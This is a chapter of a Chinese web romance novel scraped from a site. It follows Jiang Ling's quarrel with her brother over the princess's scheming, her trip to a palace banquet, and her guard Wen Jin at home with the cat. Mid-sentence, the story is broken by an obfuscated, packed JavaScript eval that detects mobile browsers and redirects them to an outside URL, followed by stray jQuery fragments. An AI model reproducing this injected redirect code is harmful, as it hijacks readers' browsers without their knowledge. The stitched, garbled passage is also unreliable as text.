9. 第 9 章(修)
作品:《表白暗卫后失忆了》 雪团这几日活泼得很,白天常常见不到踪影,每天都要等到晚上才竖着尾巴现身。
闻谨如今的大半生活,就是陪着姜菱消遣时光,替她去京中的铺面买吃食首饰,打理他们一同居住的玉棠院,闲来做些木工手艺。
过于平静安宁的日子让闻谨往日引以为傲的敏锐都有些退化了。
今日他便被小姐命令了去取城南锦绣阁的新衣。
“浅荷,你是不是,有什么话想要说?”姜菱换好了衣裳,一袭水蓝色罗裙,衬得她肌肤胜雪。
今日是皇宫里设宴的日子,不知为何时间提前了些,大概是等不到闻谨从锦绣阁回来就要动身了。
她见浅荷眼神闪躲着像是恳求,一副欲说不说的为难模样,想了想还是开口问道。
“小姐!”浅荷被姜菱的问话吓了一激灵,肩膀不自主地抖了抖,双腿一软便跪了下来,“是姜侍郎救了奴婢,姜府对奴婢有再造之恩,奴婢不敢隐瞒!”
“公主……公主她,怕是要对小姐不利啊!”
“她和大宫女云枝说过什么……既然是亲姐妹,谁去和亲都是一样。如果齐国一定要嫡出公主,她也要拉上小姐不让你在京城里逍遥快活!”
姜菱听后面色一白,心中大骇。
周明瑶的性子就是这样,宁愿玉石俱焚,也不愿意让她安生。
她不喜欢的东西,就算是砸了、毁了也不愿意放手,若是她想要的东西强夺不来,她也要彻底毁了。
“一派胡言!”
一记耳光带着毫不留情的力道,重重落在浅荷的脸上,浅荷被这道力气打得直不起身子,整个人踉跄着伏跪在地。
姜晏清不知何时从她身后的方向走来,一靠近便听见了浅荷那番“诋毁”。
他这一掌没收着力,浅荷嘴边都要溢出血来。
“公主是什么身份,岂容你一个贱婢多言!”
宫里不安分的奴婢,最喜欢搬弄口舌是非,周明瑶一个人在宫中,指不定要在他们这些刁奴身上吃多大苦头。
“奴婢不敢,奴婢怎敢乱言,奴婢是亲耳听见……”浅荷强撑着身子,求饶着爬起,可对上姜晏清那几乎要吃人的双眼,最终还是噤了声。
“奴婢敢用性命担保!这话公主说了不止一次,甚至都不避着我们这些下人。”
姜菱错愕地看着自己的亲哥哥对周明瑶一味袒护的模样。
“哥哥……”姜菱的声音几乎都在颤抖。
哥哥对周明瑶的态度,总是奇怪又夹杂着几分变扭。他看她的眼神里好像总有着些心虚和愧疚,只要周明瑶对他一个眼神示意,他就像是被戳中了心事般一味提高嗓门帮着周明瑶说话。
他更偏爱周明瑶一点,就算他与姜菱才是更加紧密的血亲。
姜菱充斥着怒气和质疑的眼神只一瞬间便暗淡了下去。
姜菱的语气里像是认命了似的,每次周明瑶的歹毒手腕,到哥哥嘴里便只不过是一时错了心思。
从前,周明瑶也闹着向姜晏清讨要过闻谨,姜晏清也如同往常一样略微思考了片刻就应下。
但那是周明瑶唯一一次没能如意。
闻谨自己一个人从公主府内走了回来,浑身脏兮兮的,身上还带了伤,在姜府门口坐了一夜。
所有姜菱喜欢的,周明瑶都想要。
但只有闻谨是完完全全属于姜菱,不会被抢走的了。
姜晏清的偏袒几乎要失了智,浅荷也看出了这一点,很会察言观色,不再开口,在一旁跪好。
“哥哥,你就不怕浅荷说的是真的,周明瑶真的藏了那样的心思?”
姜菱尽量将自己的语气放得平和,她知道只要自己的语气了夹杂了质问,姜晏清便要抓住她对姐姐不敬这一点不放。
“阿菱,你以为皇宫是什么地方?有多少双眼睛盯着?她不过是一个公主,哪里来的这么大通天的本事?”
姜晏清平常说话一副吊儿郎当的样子,今日一番话,却能说的咄咄逼人起来,颇有雄辩的风采。
“你去和亲,对她能有什么好处?”姜晏清看见妹妹急的要落泪的模样,到底还是放软了语气。
姜菱却像是突然想起了什么,向前几步,几乎要拿手指到姜晏清脸上:“前几日哥哥就告诉我入宫要小心,要小心,说了那么多遍,不会是哥哥早就知道了些什么吧?”
姜菱的眼神锐利,里面满满的都是怀疑和不信任。
明明前几日两人之间还是有说有笑的,但今日却如此针锋相对,姜晏清心底也感受到一阵寒意。
“你胡说什么?”
姜晏清心虚,他确实该心虚。
浅荷是公主府的人,被他不明不白放在了府里,是他亲自审问,姜菱一句也没问。
去宋府道歉,解释那日落水的缘由,也是他全权负责,姜菱也一字没问。
那些糟心事确实都是周明瑶惹出来的。
被姜晏清这么一吼,姜菱的泪从眼眶里坠下来,一滴、两滴,砸在衣襟上晕开浅痕。
“我们姜家对周明瑶可曾又一点对不起?为何哥哥每次都……”
姜菱的声音先带着压抑的哽咽,尾音揉碎在喉咙里。
姜晏清的眉心猛地一跳。
他教给姜菱的,永远都是忍让。
“姜……”姜晏清本欲说些什么,姜菱已经哭着跑开了。
直到皇宫里的马车停在了府外,姜菱都没有再给姜晏清一个眼神,兀自上了马车,果断地放下帘子。
方才她最难过的时候,闻谨不在她身边,这还是头一回。
姜菱有些怀念闻谨温暖宽阔的怀抱了。
姜晏清默然孤身站在一旁,几次欲开口,都咽了回去。
马车行驶很平稳,姜菱安安静静、规规矩矩地坐着,脑海里努力将刚刚爆发的争吵抛去脑后。
抹了眼泪,补好妆容,努力扯出一个笑脸。
姜菱觉得周身都又倦又累,心底也生起了一股自暴自弃的怨气。
她在脑海中回想了有关齐国太子的一切。
她久在深闺,对这些事了解的并不多,只知道齐国太子赵珣生母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240840|197727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身份低微,他是踩着战功登上太子之位的。
而那战功,是一箭射杀大周皇太子,致使大周军队混乱,最终溃不成军。
如果没有那一箭,姜菱的太子表哥便不会早殇,姜家也不会败落的这么快,她也不会忍受着如今的日子。
想至此,姜菱心里对那位素未谋面的太子的恨意又被重新点燃。
这条进宫的路,她儿时走过无数遍,如今重新踏上,只剩下些物是人非的感慨。
大齐大周早已化干戈为玉帛,停战多年,当时举国深以为耻的仇恨随着时间慢慢变淡,连赵珣都被奉为了座上宾。
如果真的和亲的话,姜菱心里想,那周明瑶岂不是要嫁给杀死自己哥哥的仇人?
她的思绪混乱着,不敢深想,随着宫娥的指引往里走去。
如今的太子周承韬是陆皇后的长子,与次子周承策的性格不同,是个冷冰冰的性子,见谁都是一副端方自持的样子,像是个活圣人。
他今日一袭玄色常服,眉目清冷,五官周正精致,步履沉缓,他看见了姜菱,好像微微思考了片刻,视线停留在她的脸上。
他的动作连姜菱都感受到了,心里颇为意外,连忙行了一礼。
不少官家小姐的注意力也全在他的身上,偷偷羞红了脸,却不知他是在向那位姑娘点头,四下悄悄小声猜着打趣着,伴着几声娇俏的笑。
太子朝着勤政殿的方向走去,想必的宴会还没开始,尚有国事要与皇帝商议。
姜菱的心里惴惴不安,今天浅荷的话反复在她脑海中回想着。
姜府中,闻谨从锦绣阁取完新衣回来,宫里来的马车已经把姜菱接走了。
他心底不禁泛起点点失落来。
他是骑马赶着时间去的,城中虽不敢疾驰,但马蹄声也算是急促连绵,不想还是没赶上。
闻谨回到小姐的房中,将新衣从盒子中取出熨烫好,他手上力道匀净柔和,连边角细纹都耐心理顺,再晾晒挂在阳光下。
一双原本用来杀人的手,如今正处理着生活里稀松平常的小事。
雪团不知什么时候也挤进了屋里,在一旁“喵呜喵呜”叫了几声。
闻谨抬眼像那团毛茸茸望去,之间们又被一个毛茸茸的小脑袋顶开。
是一只毛色纯黑的小狗。
圆脑袋、垂软耳,看着敦实憨气。
猫主子在前面走着,仰着头,尾巴高高翘着,叫声里却带了几分讨好。那只小黑狗就乖乖地跟在雪团身后,还时不时为雪团梳理它雪白的毛发。
雪团抬爪轻拍它鼻头,小黑狗也不躲不恼,反倒温顺低头,任由雪团踩上自己脊背。
闻谨一时有些看呆了。
雪团一直是很像小姐的。
他此刻莫名觉得自己身上的玄色衣服和小黑狗那一身极为相似。
噗嗤一声展颜而笑。
雪团这几日总不见猫影,难不成就是在外面养了一只小狗?
雪团好像想让小黑狗也留下,所以趁小姐不在,来试探试探小姐身边人的口风。

